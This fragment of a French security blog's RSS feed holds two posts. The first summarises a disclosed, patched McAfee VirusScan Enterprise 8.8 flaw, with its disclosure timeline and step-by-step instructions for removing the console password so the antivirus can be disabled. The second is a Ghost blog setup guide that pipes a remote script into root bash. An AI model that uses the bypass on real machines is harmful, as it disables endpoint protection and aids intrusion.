<p>Il est normalement impossible de désactiver VirusScan Enterprise sur un poste même en tant qu'administrateur, un password est nécessaire mais une vulnérabilité existe et a été trouvé par Maurizio Agazzini sans devoir passer par le mode sans-echec.</p>]]></description><link>https://arishitz.net/desactiver-mcafee-virusscan-enterprise-2/</link><guid isPermaLink="false">ffaa625f-5185-4930-8ef2-c5479623d10a</guid><dc:creator><![CDATA[ari_]]></dc:creator><pubDate>Tue, 05 Jul 2016 16:17:59 GMT</pubDate><content:encoded><![CDATA[<p><strong>Depuis 2014 une faille de sécurité est présente sur l'Anti-Virus McAfee pour entreprise.</strong></p>

<p>Il est normalement impossible de désactiver VirusScan Enterprise sur un poste même en tant qu'administrateur, un password est nécessaire mais une vulnérabilité existe et a été trouvé par Maurizio Agazzini sans devoir passer par le mode sans-echec.</p>

<p>Cette faille peut-être utile dans le cadre d'un test d'intrusion ou l'Anti-Virus de McAfee, maintenant Intel Security, poserait problème et cela même après avoir obtenu un compte Administrateur.</p>

<p>Une correction a été apporté dans la version de VirusScan 8.8 patch 7 avec le Hotfix 1110392 sorti le 25 Fevrier 2016. (Une grosse entreprise a généralement plusieurs <del>années</del> mois de retard) <br>
<a href="https://kc.mcafee.com/corporate/index?page=content&amp;id=SB10151">Intel Security - Security Bulletins ID : SB10151</a></p>

<p>Maurizio Agazzini avait remonté cette vulnérabilité le 7 Novembre 2014 auprès de McAfee...</p>

<pre><code>07/11/2014 - First communication sent to McAfee
17/11/2014 - Second communication sent to McAfee
17/11/2014 - McAfee: Request to send again vulnerability information
18/11/2014 - Sent vulnerability information and PoC again
11/12/2014 - McAfee: Problem confirmed
09/03/2015 - Request for update to McAfee
06/05/2015 - Request for update to McAfee
06/05/2015 - McAfee: Patch release planned for Q3
20/08/2015 - McAfee: Request for deadline delay (31/03/2016)
25/02/2016 - McAfee: SB10151 patch has been relased
</code></pre>

<p><a href="https://packetstormsecurity.com/files/136089">Packet Storm - McAfee VirusScan Enterprise 8.8 Security Bypass</a></p>

<h6 id="pourfairesimplevoiciunpoc">Pour faire simple, voici un PoC :</h6>

<p><br>1 - Lancer l'outil Process Explorer de la suite Sysinternals ainsi que la console VirusScan avec un <mark>compte administrateur</mark>.</p>

<p>2 - Localiser le process mcconsol.exe, cliquer dessus puis sur les touches <code>CTRL-L</code> (ou dans <code>Menu -&gt; View -&gt; Show Lower Pane</code>). </p>

<p><img src="https://arishitz.net/content/images/2016/07/process_explorer_McAfee-1.png" alt="alt">
3 - Trouver les clés de registre <code>"HKLM\SOFTWARE\McAfee\DesktopProtection"</code>, puis clique droit sur "Close Handle" sur toutes.</p>

<p>4 - Retourner sur la console VirusScan, dans <code>Menu -&gt; Outils -&gt; Options Générales -&gt; Options de mot de passe</code></p>

<p><img src="https://arishitz.net/content/images/2016/07/virusscan_password.png" alt="alt"></p>

<p>5 - Selectionner <code>Aucun mot de passe</code> et appliquer. Il est maintenant possible de désactiver VirusScan.</p>

<p><img src="https://arishitz.net/content/images/2016/07/viruscan_without_password.png" alt="alt"></p>

<p>Toutes les versions de VirusScan Enterprise 8.8 avant le Hotfix 1110392 sont vulnérables.</p>

<p><img src="https://arishitz.net/content/images/2016/07/john_mcafee.jpg" alt="alt"></p>

<p>Fap'ment,</p>]]></content:encoded></item><item><title><![CDATA[o/]]></title><description><![CDATA[<blockquote>
  <p>Parce que shit happens, ce site openz.</p>
</blockquote>

<p>Comment ? <br>
Aussi simplement que ce shitlog d'history sur un serveur debian : <br>
<code>$ cd /var/www/</code> <br>
<code>$ mkdir "ari-sh'tz"</code> <br>
<code>$ cd ari-sh\'tz/</code> <br>
<code>$ curl -sL https://deb.nodesource.com/setup_4.x | sudo bash -</code> <br>
<code>$ apt-get install nodejs</code> <br>
<code>$ wget https://ghost.org/zip/ghost-0.8.0.zip</code></p>]]></description><link>https://arishitz.net/o/</link><guid isPermaLink="false">79bb43bc-7ebb-42af-942b-35c256fd8583</guid><dc:creator><![CDATA[ari_]]></dc:creator><pubDate>Wed, 08 Jun 2016 14:05:58 GMT</pubDate><content:encoded><![CDATA[<blockquote>
  <p>Parce que shit happens, ce site openz.</p>
</blockquote>

<p>Comment ? <br>
Aussi simplement que ce shitlog d'history sur un serveur debian : <br>
<code>$ cd /var/www/</code> <br>
<code>$ mkdir "ari-sh'tz"</code> <br>
<code>$ cd ari-sh\'tz/</code> <br>
<code>$ curl -sL https://deb.nodesource.com/setup_4.x | sudo bash -</code> <br>
<code>$ apt-get install nodejs</code> <br>
<code>$ wget https://ghost.org/zip/ghost-0.8.0.zip</code> <br>
<code>$ 7z x ghost-0.8.0.zip</code> <br>
<code>$ npm install --production</code> <br>
<code>$ npm start</code></p>

<p>Pour le lancer en mode production il faut modifier le fichier <code>config.js</code>, ajouter l'url du blog et son adresse email puis utiliser la commande : <br>
<code>$ npm start --production</code></p>

<p>Ensuite ouvrir <code>127.0.0.1:2368</code> dans un vrai navigateur et parametrer le blog. <br>
Doc pour le paramètrage : <a href="http://docs.ghost.org/fr/usage/">http://docs.ghost.org/fr/usage/</a></p>

<p>Dans mon cas j'utilise un reverse proxy sous nginx avec cette conf : <br>
<code>$ apt-get install nginx</code> <br>
<code>$ nano /etc/nginx/sites-available/default</code></p>

<pre><code>server {
    # ari_sh'tz
    listen 80;
    server_name ari.ovh;
    location / {
        proxy_pass http://127.0.0.1:2368;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection 'upgrade';
        proxy_set_header Host $host;
        proxy_cache_bypass $http_upgrade;
    }
}
</code></pre>

<p>Il est possible de faire tourner le site dans un screen : <br>
<code>$ apt-get install screen</code> <br>
<code>$ screen -S site</code> <br>
<code>$ npm start --production</code></p>

<p>Ou d'utiliser plus proprement un process manager pour application Node.js, PM2 : <a href="https://github.com/Unitech/pm2">https://github.com/Unitech/pm2</a> <br>
<code>npm install pm2 -g</code></p>

<p>Il faut créer un fichier de configuration pour notre application : <br>
<code>$ touch app.json</code> <br>
<code>$ nano app.json</code></p>

<pre><code>{
    "apps" : [{
        "name"       : "app_name",
        "script"      : "index.js",
        "args"        : "--production",
        "watch"       : false,
        "env": {
          "NODE_ENV": "development",
        },
        "env_production" : {
          "NODE_ENV": "production"
        }
    }]
}
</code></pre>

<p>Pour lancer l'application : <br>
<code>$ pm2 start app.json --env production</code></p>

<p>Pour debuger les logs en temps réel : <br>
<code>$ pm2 logs</code></p>

<p>Pour voir l'état de notre application : <br>
<code>$ pm2 monit</code></p>

<p>Done.</p>

<p>Fap'ment,</p>]]></content:encoded></item></channel></rss>